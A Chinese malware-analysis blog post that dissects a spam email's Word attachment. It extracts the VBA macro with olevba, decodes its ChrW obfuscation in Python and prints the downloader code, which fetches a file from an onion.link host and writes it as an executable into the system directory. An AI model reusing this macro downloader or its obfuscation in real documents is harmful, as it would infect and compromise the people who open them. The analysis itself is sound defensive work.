上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。
分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行
可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是。
4.2 olevba 提取宏展示
olevba -c xxx.doc
4.5 查看宏代码
可以看到这里存在一段vb编写的代码,从调用WinHttpReq可以猜出来,这一个word文档的作用是一个下载器
Sub Main
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", "http://ypg7rfjvfywj7jhp.onion.link/icon.jpg", False, "username", "password"
WinHttpReq.send
如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。
Dim first5 As String
Dim second5 As String
Dim last5 As String
first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
second5 = ChrW(97) & ChrW(109)
last5 = first5 + second5
其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。
first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"
second5 = "ChrW(97) & ChrW(109)"
def convert_vb2py(s):
first_s = s.replace("ChrW","chr")
second_s = first_s.replace("&","+")
return second_s
print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))
最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作
Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件
xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject(last5)
oStream.Open
oStream.Type = Val("1FFF")
oStream.Write WinHttpReq.responseBody
Dim first6 As String
Dim last6 As String
first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
last6 = first6
oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")
oStream.Close
End If
End Sub
代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。